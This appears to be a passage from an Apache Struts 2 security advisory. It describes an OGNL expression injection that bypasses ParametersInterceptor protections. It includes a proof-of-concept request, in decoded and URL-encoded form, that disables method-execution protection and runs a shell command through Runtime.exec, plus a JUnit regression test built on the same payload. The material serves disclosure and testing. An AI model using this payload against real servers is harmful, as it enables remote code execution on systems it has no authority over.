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OGNL provides, among other features, extensive expression evaluation capabilities. The vulnerability allows a malicious user to bypass all the protections (regex pattern, deny method invocation) built into the ParametersInterceptor, thus being able to inject a malicious expression in any exposed string variable for further evaluation.

Wiki MarkupA similar behavior was already addressed in [S2-003] and [S2-005], but it turned out that the resulting fix based on whitelisting acceptable parameter names closed the vulnerability only partially.
Regular expression in ParametersInterceptor matches top\['foo'\](0) as a valid expression, which OGNL treats as (top\['foo'\])(0) and evaluates the value of 'foo' action parameter as an OGNL expression. This lets malicious users put arbitrary OGNL statements into any String variable exposed by an action and have it evaluated as an OGNL expression and since OGNL statement is in HTTP parameter value attacker can use blacklisted characters (e.g. #) to disable method execution and execute arbitrary methods, bypassing the ParametersInterceptor and OGNL library protections.

Proof of concept

public class FooAction {
    private String foo;

    public String execute() {
        return "success";
    }
    public String getFoo() {
        return foo;
    }

    public void setFoo(String foo) {
        this.foo = foo;
    }
}

Here's an actual decoded example, which will create /tmp/PWNAGE directory:

/action?foo=(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('mkdir /tmp/PWNAGE'))(meh)&z[(foo)('meh')]=true

encoded version:

/action?foo=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27mkdir%20/tmp/PWNAGE%27%29%29%28meh%29&z[%28foo%29%28%27meh%27%29]=true

And the JUnit version

public class FooActionTest extends org.apache.struts2.StrutsJUnit4TestCase<FooAction> {
    @Test
    public void testExecute() throws Exception {
        request.setParameter("foo", "(#context[\"xwork.MethodAccessor.denyMethodExecution\"]= new " +
                "java.lang.Boolean(false), #_memberAccess[\"allowStaticMethodAccess\"]= new java.lang.Boolean(true), " +
                "@java.lang.Runtime@getRuntime().exec('mkdir /tmp/PWNAGE'))(meh)");

        request.setParameter("top['foo'](0)", "true");

        String res = this.executeAction("/example/foo.action");
        FooAction action = this.getAction();

        File pwn = new File("/tmp/PWNAGE");
        Assert.assertFalse("Remote exploit: The PWN folder has been created", pwn.exists());
    }
}

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